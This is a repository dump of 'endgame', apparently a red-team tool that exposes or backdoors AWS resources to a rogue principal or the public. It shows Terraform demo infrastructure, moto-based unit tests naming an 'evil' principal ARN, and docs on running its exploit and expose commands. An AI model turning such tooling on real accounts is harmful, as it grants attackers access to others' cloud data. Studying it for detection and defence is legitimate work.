├── test ├── __init__.py ├── shared │ ├── __init__.py │ ├── test_validate.py │ ├── test_utils.py │ └── test_statement_detail.py ├── command │ ├── __init__.py │ ├── test_expose.py │ ├── test_list_resources.py │ └── test_smash.py └── exposure_via_resource_policies │ ├── __init__.py │ ├── test_glacier.py │ ├── test_ses.py │ ├── test_ecr.py │ ├── test_iam.py │ ├── test_s3.py │ ├── test_secrets_manager.py │ ├── test_kms.py │ ├── README.md │ └── test_sqs.py ├── endgame ├── bin │ ├── __init__.py │ ├── version.py │ └── cli.py ├── shared │ ├── __init__.py │ ├── list_resources_response.py │ ├── scary_warnings.py │ ├── aws_login.py │ ├── constants.py │ ├── response_message.py │ └── validate.py ├── exposure_via_aws_ram │ ├── __init__.py │ └── README.md ├── exposure_via_sharing_apis │ ├── __init__.py │ ├── README.md │ └── common.py ├── exposure_via_resource_policies │ ├── __init__.py │ ├── secrets_manager.py │ ├── s3.py │ ├── elasticsearch.py │ ├── glacier_vault.py │ ├── efs.py │ ├── ecr.py │ └── iam.py ├── command │ ├── __init__.py │ └── list_resources.py └── __init__.py ├── docs ├── contributing │ ├── contributing.md │ └── testing.md ├── images │ ├── endgame.gif │ ├── add-myself-undo.png │ ├── add-myself-dry-run.png │ ├── add-myself-foreal.png │ └── acm-pca-action-required.png ├── requirements-docs.txt ├── installation.md ├── custom.css ├── appendices │ ├── terraform-demo-infrastructure.md │ ├── acm-pca-activation.md │ ├── roadmap.md │ └── faq.md ├── detection.md ├── recommendations-to-aws.md ├── risks │ ├── logs.md │ ├── acm-pca.md │ ├── s3.md │ ├── amis.md │ ├── sqs.md │ ├── glacier.md │ ├── lambda-layers.md │ ├── kms.md │ ├── ebs.md │ └── sns.md ├── iam-permissions.md ├── tutorial.md └── resource-policy-primer.md ├── terraform ├── provider.tf ├── variables.tf ├── ec2-ami │ ├── output.tf │ ├── variables.tf │ └── ami.tf ├── ecr-repository │ ├── ecr.tf │ ├── variables.tf │ └── outputs.tf ├── sns-topic │ ├── sns.tf │ ├── variables.tf │ └── outputs.tf ├── glacier-vault │ ├── glacier.tf │ ├── variables.tf │ └── outputs.tf ├── iam-role │ ├── variables.tf │ ├── outputs.tf │ └── role.tf ├── acm-pca │ ├── variables.tf │ ├── outputs.tf │ └── acm_pca.tf ├── ebs-snapshot │ ├── variables.tf │ ├── outputs.tf │ └── ebs.tf ├── lambda-function │ ├── lambda.zip │ ├── variables.tf │ ├── lambda.py │ ├── outputs.tf │ └── lambda_function.tf ├── lambda-layer │ ├── python │ │ └── custom_func.py │ ├── variables.tf │ ├── python_libs.zip │ ├── outputs.tf │ └── layer.tf ├── rds-snapshot │ ├── variables.tf │ ├── outputs.tf │ └── db_snapshot.tf ├── sqs-queue │ ├── sqs.tf │ ├── variables.tf │ └── outputs.tf ├── efs-file-system │ ├── variables.tf │ ├── efs.tf │ └── outputs.tf ├── s3-bucket │ ├── variables.tf │ ├── outputs.tf │ └── bucket.tf ├── secrets-manager │ ├── variables.tf │ ├── outputs.tf │ └── secrets-manager.tf ├── elasticsearch-domain │ ├── variables.tf │ ├── outputs.tf │ └── es.tf ├── rds-cluster-snapshot │ ├── variables.tf │ ├── outputs.tf │ └── cluster_snapshot.tf ├── ses-domain-identity │ ├── variables.tf │ ├── outputs.tf │ └── ses.tf ├── cloudwatch-resource-policy │ └── main.tf └── all.tf ├── requirements.txt ├── requirements-dev.txt ├── .github ├── workflows │ ├── release-drafter.yml │ ├── ci.yml │ └── publish.yml ├── PULL_REQUEST_TEMPLATE └── release-drafter.yml ├── SECURITY.md ├── .readthedocs.yml ├── setup.cfg ├── .gitignore ├── LICENSE ├── setup.py ├── mkdocs.yml ├── Makefile └── tasks.py /test/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /endgame/bin/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /test/shared/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /endgame/shared/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /test/command/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docs/contributing/contributing.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /endgame/exposure_via_aws_ram/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /endgame/bin/version.py: -------------------------------------------------------------------------------- 1 | __version__ = "0.2.0" 2 | -------------------------------------------------------------------------------- /endgame/exposure_via_sharing_apis/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /test/exposure_via_resource_policies/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /endgame/exposure_via_resource_policies/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /terraform/provider.tf: -------------------------------------------------------------------------------- 1 | provider "aws" { 2 | region = var.region 3 | } -------------------------------------------------------------------------------- /terraform/variables.tf: -------------------------------------------------------------------------------- 1 | variable "region" { 2 | default = "us-east-1" 3 | } -------------------------------------------------------------------------------- /terraform/ec2-ami/output.tf: -------------------------------------------------------------------------------- 1 | output "ami_id" { 2 | value = aws_ami_copy.example.id 3 | } -------------------------------------------------------------------------------- /docs/images/endgame.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ping/endgame/main/docs/images/endgame.gif -------------------------------------------------------------------------------- /terraform/ecr-repository/ecr.tf: -------------------------------------------------------------------------------- 1 | resource "aws_ecr_repository" "foo" { 2 | name = var.name 3 | } -------------------------------------------------------------------------------- /terraform/sns-topic/sns.tf: -------------------------------------------------------------------------------- 1 | resource "aws_sns_topic" "test_resource_exposure" { 2 | name = var.name 3 | } -------------------------------------------------------------------------------- /docs/images/add-myself-undo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ping/endgame/main/docs/images/add-myself-undo.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | click==7.1.2 2 | botocore==1.20.5 3 | boto3==1.17.5 4 | policy_sentry==0.11.5 5 | colorama==0.4.4 -------------------------------------------------------------------------------- /docs/images/add-myself-dry-run.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ping/endgame/main/docs/images/add-myself-dry-run.png -------------------------------------------------------------------------------- /docs/images/add-myself-foreal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ping/endgame/main/docs/images/add-myself-foreal.png -------------------------------------------------------------------------------- /terraform/glacier-vault/glacier.tf: -------------------------------------------------------------------------------- 1 | resource "aws_glacier_vault" "test_resource_exposure" { 2 | name = var.name 3 | } -------------------------------------------------------------------------------- /terraform/iam-role/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/acm-pca/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure.com" 4 | } -------------------------------------------------------------------------------- /terraform/ebs-snapshot/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/glacier-vault/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/lambda-function/lambda.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ping/endgame/main/terraform/lambda-function/lambda.zip -------------------------------------------------------------------------------- /terraform/lambda-layer/python/custom_func.py: -------------------------------------------------------------------------------- 1 | def cust_fun(): 2 | print("Hello from the deep layers!!") 3 | return 1 -------------------------------------------------------------------------------- /terraform/lambda-layer/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/rds-snapshot/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/sns-topic/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/sqs-queue/sqs.tf: -------------------------------------------------------------------------------- 1 | resource "aws_sqs_queue" "test_resource_exposure" { 2 | name = "test-resource-exposure" 3 | } -------------------------------------------------------------------------------- /terraform/sqs-queue/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /docs/images/acm-pca-action-required.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ping/endgame/main/docs/images/acm-pca-action-required.png -------------------------------------------------------------------------------- /terraform/ecr-repository/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/efs-file-system/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/lambda-function/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/lambda-layer/python_libs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ping/endgame/main/terraform/lambda-layer/python_libs.zip -------------------------------------------------------------------------------- /terraform/s3-bucket/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name_prefix" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/secrets-manager/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/elasticsearch-domain/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/rds-cluster-snapshot/variables.tf: -------------------------------------------------------------------------------- 1 | variable "name" { 2 | type = string 3 | default = "test-resource-exposure" 4 | } -------------------------------------------------------------------------------- /terraform/ses-domain-identity/variables.tf: -------------------------------------------------------------------------------- 1 | variable "domain_name" { 2 | type = string 3 | default = "test-resource-exposure.com" 4 | } -------------------------------------------------------------------------------- /endgame/command/__init__.py: -------------------------------------------------------------------------------- 1 | from endgame.command import list_resources 2 | from endgame.command import expose 3 | from endgame.command import smash 4 | -------------------------------------------------------------------------------- /terraform/lambda-function/lambda.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | 4 | def handler(event, context): 5 | print("Received event: " + json.dumps(event, indent=2)) 6 | -------------------------------------------------------------------------------- /terraform/efs-file-system/efs.tf: -------------------------------------------------------------------------------- 1 | resource "aws_efs_file_system" "foo" { 2 | creation_token = var.name 3 | 4 | tags = { 5 | Name = var.name 6 | } 7 | } -------------------------------------------------------------------------------- /terraform/iam-role/outputs.tf: -------------------------------------------------------------------------------- 1 | output "arn" { 2 | value = aws_iam_role.test_role.arn 3 | } 4 | 5 | output "name" { 6 | value = aws_iam_role.test_role.name 7 | } -------------------------------------------------------------------------------- /terraform/efs-file-system/outputs.tf: -------------------------------------------------------------------------------- 1 | output "id" { 2 | value = aws_efs_file_system.foo.id 3 | } 4 | 5 | output "arn" { 6 | value = aws_efs_file_system.foo.arn 7 | } -------------------------------------------------------------------------------- /terraform/ecr-repository/outputs.tf: -------------------------------------------------------------------------------- 1 | output "name" { 2 | value = aws_ecr_repository.foo.name 3 | } 4 | 5 | output "arn" { 6 | value = aws_ecr_repository.foo.arn 7 | } -------------------------------------------------------------------------------- /terraform/ebs-snapshot/outputs.tf: -------------------------------------------------------------------------------- 1 | output "aws_ebs_volume_arn" { 2 | value = aws_ebs_volume.example.arn 3 | } 4 | 5 | output "id" { 6 | value = aws_ebs_snapshot.example_snapshot.id 7 | } -------------------------------------------------------------------------------- /terraform/sns-topic/outputs.tf: -------------------------------------------------------------------------------- 1 | output "arn" { 2 | value = aws_sns_topic.test_resource_exposure.arn 3 | } 4 | 5 | output "name" { 6 | value = aws_sns_topic.test_resource_exposure.name 7 | } -------------------------------------------------------------------------------- /terraform/sqs-queue/outputs.tf: -------------------------------------------------------------------------------- 1 | output "arn" { 2 | value = aws_sqs_queue.test_resource_exposure.arn 3 | } 4 | 5 | output "name" { 6 | value = aws_sqs_queue.test_resource_exposure.name 7 | } -------------------------------------------------------------------------------- /terraform/acm-pca/outputs.tf: -------------------------------------------------------------------------------- 1 | output "id" { 2 | value = aws_acmpca_certificate_authority.example.id 3 | } 4 | 5 | output "arn" { 6 | value = aws_acmpca_certificate_authority.example.arn 7 | } -------------------------------------------------------------------------------- /terraform/s3-bucket/outputs.tf: -------------------------------------------------------------------------------- 1 | output "arn" { 2 | value = aws_s3_bucket.test_resource_exposure.arn 3 | } 4 | 5 | output "name" { 6 | value = aws_s3_bucket.test_resource_exposure.bucket 7 | } -------------------------------------------------------------------------------- /terraform/ses-domain-identity/outputs.tf: -------------------------------------------------------------------------------- 1 | output "arn" { 2 | value = aws_ses_domain_identity.example.arn 3 | } 4 | 5 | output "name" { 6 | value = aws_ses_domain_identity.example.domain 7 | } -------------------------------------------------------------------------------- /terraform/ec2-ami/variables.tf: -------------------------------------------------------------------------------- 1 | variable "region" { 2 | default = "us-east-1" 3 | type = string 4 | } 5 | 6 | variable "name" { 7 | type = string 8 | default = "test-resource-exposure" 9 | } -------------------------------------------------------------------------------- /terraform/elasticsearch-domain/outputs.tf: -------------------------------------------------------------------------------- 1 | output "name" { 2 | value = aws_elasticsearch_domain.example.domain_name 3 | } 4 | 5 | output "arn" { 6 | value = aws_elasticsearch_domain.example.arn 7 | } -------------------------------------------------------------------------------- /terraform/lambda-function/outputs.tf: -------------------------------------------------------------------------------- 1 | output "arn" { 2 | value = aws_lambda_function.lambda_function.arn 3 | } 4 | 5 | output "name" { 6 | value = aws_lambda_function.lambda_function.function_name 7 | } -------------------------------------------------------------------------------- /terraform/rds-snapshot/outputs.tf: -------------------------------------------------------------------------------- 1 | output "snapshot_identifier" { 2 | value = aws_db_snapshot.test.db_snapshot_identifier 3 | } 4 | 5 | output "arn" { 6 | value = aws_db_snapshot.test.db_snapshot_arn 7 | } -------------------------------------------------------------------------------- /terraform/glacier-vault/outputs.tf: -------------------------------------------------------------------------------- 1 | output "arn" { 2 | value = aws_glacier_vault.test_resource_exposure.arn 3 | } 4 | 5 | output "name" { 6 | value = aws_glacier_vault.test_resource_exposure.name 7 | } 8 | -------------------------------------------------------------------------------- /terraform/lambda-layer/outputs.tf: -------------------------------------------------------------------------------- 1 | output "arn" { 2 | value = aws_lambda_layer_version.lambda_layer.layer_arn 3 | } 4 | 5 | output "name" { 6 | value = "${var.name}:${aws_lambda_layer_version.lambda_layer.version}" 7 | } -------------------------------------------------------------------------------- /terraform/secrets-manager/outputs.tf: -------------------------------------------------------------------------------- 1 | output "arn" { 2 | value = aws_secretsmanager_secret.test_resource_exposure.arn 3 | } 4 | 5 | output "name" { 6 | value = aws_secretsmanager_secret.test_resource_exposure.name 7 | } -------------------------------------------------------------------------------- /docs/requirements-docs.txt: -------------------------------------------------------------------------------- 1 | mkdocs==1.1.2 2 | mkdocs-material==6.2.8 3 | mkdocs-material-extensions==1.0.1 4 | mkdocstrings==0.14.0 5 | atomicwrites==1.4.0 6 | distlib==0.3.1 7 | filelock==3.0.12 8 | Pygments==2.8.0 9 | pymdown-extensions==8.1.1 10 | pytkdocs==0.10.1 -------------------------------------------------------------------------------- /terraform/rds-cluster-snapshot/outputs.tf: -------------------------------------------------------------------------------- 1 | output "snapshot_identifier" { 2 | value = aws_db_cluster_snapshot.test_resource_exposure.db_cluster_identifier 3 | } 4 | 5 | output "arn" { 6 | value = aws_db_cluster_snapshot.test_resource_exposure.db_cluster_snapshot_arn 7 | } -------------------------------------------------------------------------------- /terraform/secrets-manager/secrets-manager.tf: -------------------------------------------------------------------------------- 1 | resource "aws_secretsmanager_secret" "test_resource_exposure" { 2 | name = var.name 3 | recovery_window_in_days = 0 4 | } 5 | 6 | resource "aws_secretsmanager_secret_version" "example" { 7 | secret_id = aws_secretsmanager_secret.test_resource_exposure.id 8 | secret_string = "foosecret" 9 | } -------------------------------------------------------------------------------- /terraform/ebs-snapshot/ebs.tf: -------------------------------------------------------------------------------- 1 | resource "aws_ebs_volume" "example" { 2 | availability_zone = "us-east-1a" 3 | size = 40 4 | 5 | tags = { 6 | Name = var.name 7 | } 8 | } 9 | 10 | resource "aws_ebs_snapshot" "example_snapshot" { 11 | volume_id = aws_ebs_volume.example.id 12 | 13 | tags = { 14 | Name = var.name 15 | } 16 | } -------------------------------------------------------------------------------- /requirements-dev.txt: -------------------------------------------------------------------------------- 1 | pytest==6.2.2 2 | nose==1.3.7 3 | black==20.8b1 4 | bandit==1.7.0 5 | coverage==5.4 6 | pylint==2.6.0 7 | invoke==1.5.0 8 | pandas==1.2.2 9 | openpyxl==3.0.6 10 | moto==1.3.16 11 | mkdocs==1.1.2 12 | mkdocs-material==6.2.8 13 | mkdocs-material-extensions==1.0.1 14 | mkdocstrings==0.14.0 15 | rsa>=4.7 # not directly required, pinned by Snyk to avoid a vulnerability 16 | -------------------------------------------------------------------------------- /terraform/elasticsearch-domain/es.tf: -------------------------------------------------------------------------------- 1 | resource "aws_elasticsearch_domain" "example" { 2 | domain_name = var.name 3 | elasticsearch_version = "1.5" 4 | 5 | cluster_config { 6 | instance_type = "t2.micro.elasticsearch" 7 | instance_count = 1 8 | } 9 | ebs_options { 10 | ebs_enabled = true 11 | volume_size = 20 12 | 13 | } 14 | 15 | tags = { 16 | Domain = var.name 17 | } 18 | } -------------------------------------------------------------------------------- /.github/workflows/release-drafter.yml: -------------------------------------------------------------------------------- 1 | name: Release Drafter 2 | 3 | on: 4 | push: 5 | branches: [ main, master ] 6 | 7 | jobs: 8 | update_release_draft: 9 | runs-on: ubuntu-latest 10 | steps: 11 | # Drafts your next Release notes as Pull Requests are merged into "master" 12 | - uses: release-drafter/release-drafter@v5 13 | env: 14 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 15 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | ## Security 2 | 3 | Please report any security issue to [security@salesforce.com](mailto:security@salesforce.com) 4 | as soon as it is discovered. This library limits its runtime dependencies in 5 | order to reduce the total cost of ownership as much as can be, but all consumers 6 | should remain vigilant and have their security stakeholders review all third-party 7 | products (3PP) like this one and their dependencies. -------------------------------------------------------------------------------- /terraform/s3-bucket/bucket.tf: -------------------------------------------------------------------------------- 1 | resource "aws_s3_bucket" "test_resource_exposure" { 2 | bucket = "${var.name_prefix}-${random_string.random.result}" 3 | } 4 | 5 | resource "aws_s3_bucket_object" "test_object" { 6 | bucket = aws_s3_bucket.test_resource_exposure.bucket 7 | key = "kinnaird-was-here.txt" 8 | } 9 | 10 | resource "random_string" "random" { 11 | length = 16 12 | special = false 13 | min_lower = 16 14 | } -------------------------------------------------------------------------------- /terraform/iam-role/role.tf: -------------------------------------------------------------------------------- 1 | resource "aws_iam_role" "test_role" { 2 | name = var.name 3 | 4 | assume_role_policy = < 🚨This will create real AWS infrastructure and will cost you money! 🚨 6 | 7 | > _Note: It is not exposed to rogue IAM users or to the internet at first. That will only happen after you run the exposure commands._ 8 | 9 | ## Prerequisites 10 | 11 | * Valid credentials to an AWS account 12 | * AWS CLI should be set up locally 13 | * Terraform should be installed 14 | 15 | 16 | ### Installing Terraform 17 | 18 | * Install `tfenv` (Terraform version manager) via Homebrew, and install Terraform 0.12.28 19 | 20 | ```bash 21 | brew install tfenv 22 | tfenv install 0.12.28 23 | tfenv use 0.12.28 24 | ``` 25 | 26 | ### Build the demo infrastructure 27 | 28 | * Run the Terraform code to generate the example AWS resources. 29 | 30 | ```bash 31 | make terraform-demo 32 | ``` 33 | 34 | * Don't forget to clean up after. 35 | 36 | ```bash 37 | make terraform-destroy 38 | ``` 39 | -------------------------------------------------------------------------------- /test/exposure_via_resource_policies/test_glacier.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | import json 4 | from moto import mock_glacier 5 | from endgame.exposure_via_resource_policies.glacier_vault import GlacierVaults 6 | from endgame.shared.aws_login import get_boto3_client 7 | 8 | MY_RESOURCE = "test-resource-exposure" 9 | EVIL_PRINCIPAL = "arn:aws:iam::999988887777:user/evil" 10 | 11 | 12 | class GlacierTestCase(unittest.TestCase): 13 | def setUp(self): 14 | with warnings.catch_warnings(): 15 | warnings.filterwarnings("ignore", category=DeprecationWarning) 16 | current_account_id = "111122223333" 17 | region = "us-east-1" 18 | service = "glacier" 19 | self.mock = mock_glacier() 20 | self.mock.start() 21 | self.client = get_boto3_client(profile=None, service=service, region=region) 22 | 23 | self.client.create_vault(vaultName=MY_RESOURCE) 24 | self.vaults = GlacierVaults(client=self.client, current_account_id=current_account_id, region=region) 25 | 26 | def test_list_vaults(self): 27 | print(self.vaults.resources[0].name) 28 | print(self.vaults.resources[0].arn) 29 | self.assertTrue(self.vaults.resources[0].name == "test-resource-exposure") 30 | self.assertTrue(self.vaults.resources[0].arn == "arn:aws:glacier:us-east-1:012345678901:vaults/test-resource-exposure") 31 | -------------------------------------------------------------------------------- /endgame/exposure_via_sharing_apis/README.md: -------------------------------------------------------------------------------- 1 | # Resource that can be made public through sharing APIs 2 | 3 | 4 | ## Support Status 5 | 6 | ### AMI 7 | Actions: 8 | - ec2 [modify-image-attribute](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/modify-image-attribute.html) 9 | 10 | ### EBS snapshot 11 | Actions: 12 | - ec2 [modify-snapshot-attribute](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/modify-snapshot-attribute.html) 13 | - [moto modify_snapshot_attribute](https://github.com/spulec/moto/blob/master/moto/ec2/responses/elastic_block_store.py#L129) 14 | - [moto describe_snapshot_attribute](https://github.com/spulec/moto/blob/master/moto/ec2/responses/elastic_block_store.py#L122) 15 | 16 | ### RDS snapshot 17 | Actions: 18 | - rds [modify-db-snapshot](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/modify-db-snapshot.html) 19 | - [CLI to share a snapshot](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ShareSnapshot.html#USER_ShareSnapshot.Sharing) 20 | 21 | 22 | ## Not supported (yet) 23 | 24 | ### FPGA image 25 | Actions: 26 | - ec2 [modify-fpga-image-attribute](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/modify-fpga-image-attribute.html) 27 | 28 | ### RDS DB Cluster snapshot 29 | Actions: 30 | - rds [modify-db-cluster-snapshot-attribute](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/modify-db-cluster-snapshot-attribute.html) -------------------------------------------------------------------------------- /docs/contributing/testing.md: -------------------------------------------------------------------------------- 1 | # Testing 2 | 3 | ## Unit tests 4 | 5 | * Run [pytest](https://docs.pytest.org/en/stable/) with the following: 6 | 7 | ```bash 8 | make test 9 | ``` 10 | 11 | ## Security tests 12 | 13 | * Run [bandit](https://bandit.readthedocs.io/en/latest/) with the following: 14 | 15 | ```bash 16 | make security-test 17 | ``` 18 | 19 | ## Integration tests 20 | 21 | After making any modifications to the program, you can run a full-fledged integration test, using this program against your own test infrastructure in AWS. 22 | 23 | * First, set your environment variables 24 | 25 | ```bash 26 | # Set the environment variable for the username that you will create a backdoor for. 27 | export EVIL_PRINCIPAL="arn:aws:iam::999988887777:user/evil" 28 | export AWS_REGION="us-east-1" 29 | export AWS_PROFILE="default" 30 | ``` 31 | 32 | * Then run the full-fledged integration test: 33 | 34 | ```bash 35 | make integration-test 36 | ``` 37 | 38 | This does the following: 39 | 40 | * Sets up your local dev environment (see `setup-dev`) in the `Makefile` 41 | * Creates the Terraform infrastructure (see `terraform-demo` in the `Makefile`) 42 | * Runs `list-resources`, `exploit --dry-run`, and `expose` against this live infrastructure 43 | * Destroys the Terraform infrastructure (see `terraform-destroy` in the `Makefile`) 44 | 45 | Note that the `expose` command will not expose the resources to the world - it will only expose them to your rogue user, not to the world. 46 | -------------------------------------------------------------------------------- /test/exposure_via_resource_policies/test_ses.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | import json 4 | from moto import mock_ses 5 | from endgame.exposure_via_resource_policies.ses import SesIdentityPolicies 6 | from endgame.shared.aws_login import get_boto3_client 7 | from endgame.shared import constants 8 | 9 | MY_RESOURCE = "test-resource-exposure@yolo.com" 10 | EVIL_PRINCIPAL = "arn:aws:iam::999988887777:user/evil" 11 | 12 | 13 | class SesTestCase(unittest.TestCase): 14 | def setUp(self): 15 | with warnings.catch_warnings(): 16 | warnings.filterwarnings("ignore", category=DeprecationWarning) 17 | current_account_id = "111122223333" 18 | region = "us-east-1" 19 | service = "ses" 20 | self.mock = mock_ses() 21 | self.mock.start() 22 | self.client = get_boto3_client(profile=None, service=service, region=region) 23 | response = self.client.verify_email_identity( 24 | EmailAddress=MY_RESOURCE 25 | ) 26 | print(response) 27 | self.identities = SesIdentityPolicies(client=self.client, current_account_id=current_account_id, region=region) 28 | 29 | def test_list_identities(self): 30 | print(self.identities.resources[0].name) 31 | print(self.identities.resources[0].arn) 32 | self.assertTrue(self.identities.resources[0].name == MY_RESOURCE) 33 | self.assertTrue(self.identities.resources[0].arn == f"arn:aws:ses:us-east-1:111122223333:identity/{MY_RESOURCE}") 34 | -------------------------------------------------------------------------------- /endgame/shared/scary_warnings.py: -------------------------------------------------------------------------------- 1 | from endgame.shared import utils 2 | 3 | def confirm_anonymous_principal(): 4 | utils.print_red(r""" 5 | 6 | ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄ 7 | ▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌ ▐░▌▐░░░░░░░░░░░▌▐░░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌▐░▌▐░▌ 8 | ▐░▌ ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌░▌ ▐░▌ ▀▀▀▀█░█▀▀▀▀ ▐░▌░▌ ▐░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░▌▐░▌▐░▌ 9 | ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌▐░▌ 10 | ▐░▌ ▄ ▐░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▄▄▄▄▄▄▄▄ ▐░▌▐░▌▐░▌ 11 | ▐░▌ ▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌▐░░░░░░░░▌▐░▌▐░▌▐░▌ 12 | ▐░▌ ▐░▌░▌ ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▀▀▀▀▀▀█░▌▐░▌▐░▌▐░▌ 13 | ▐░▌▐░▌ ▐░▌▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌ ▀ ▀ ▀ 14 | ▐░▌░▌ ▐░▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▐░▌ ▄▄▄▄█░█▄▄▄▄ ▐░▌ ▐░▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▄ ▄ ▄ 15 | ▐░░▌ ▐░░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░░▌▐░░░░░░░░░░░▌▐░▌ ▐░░▌▐░░░░░░░░░░░▌▐░▌▐░▌▐░▌ 16 | ▀▀ ▀▀ ▀ ▀ ▀ ▀ ▀ ▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀ 17 | """) 18 | print("\n") 19 | utils.print_red("WARNING:") 20 | confirm = input("You are about to expose resources to the ENTIRE INTERNET. Are you sure you want to do that? [y/N]") 21 | if confirm.lower() == 'y': 22 | return True 23 | else: 24 | return False -------------------------------------------------------------------------------- /terraform/rds-snapshot/db_snapshot.tf: -------------------------------------------------------------------------------- 1 | resource "aws_db_instance" "bar" { 2 | allocated_storage = 20 3 | storage_type = "gp2" 4 | engine = "mysql" 5 | engine_version = "5.7" 6 | instance_class = "db.t2.micro" 7 | name = "mydb" 8 | username = "foo" 9 | password = "foobarbaz" 10 | parameter_group_name = "default.mysql5.7" 11 | multi_az = true 12 | db_subnet_group_name = aws_db_subnet_group.default.name 13 | skip_final_snapshot = true 14 | } 15 | 16 | 17 | resource "aws_db_snapshot" "test" { 18 | db_instance_identifier = aws_db_instance.bar.id 19 | db_snapshot_identifier = var.name 20 | } 21 | 22 | resource "aws_vpc" "main" { 23 | cidr_block = "10.0.0.0/16" 24 | instance_tenancy = "default" 25 | 26 | tags = { 27 | Name = "main" 28 | } 29 | } 30 | 31 | resource "aws_subnet" "subnet_1" { 32 | vpc_id = aws_vpc.main.id 33 | cidr_block = "10.0.1.0/28" 34 | availability_zone = "us-east-1b" 35 | 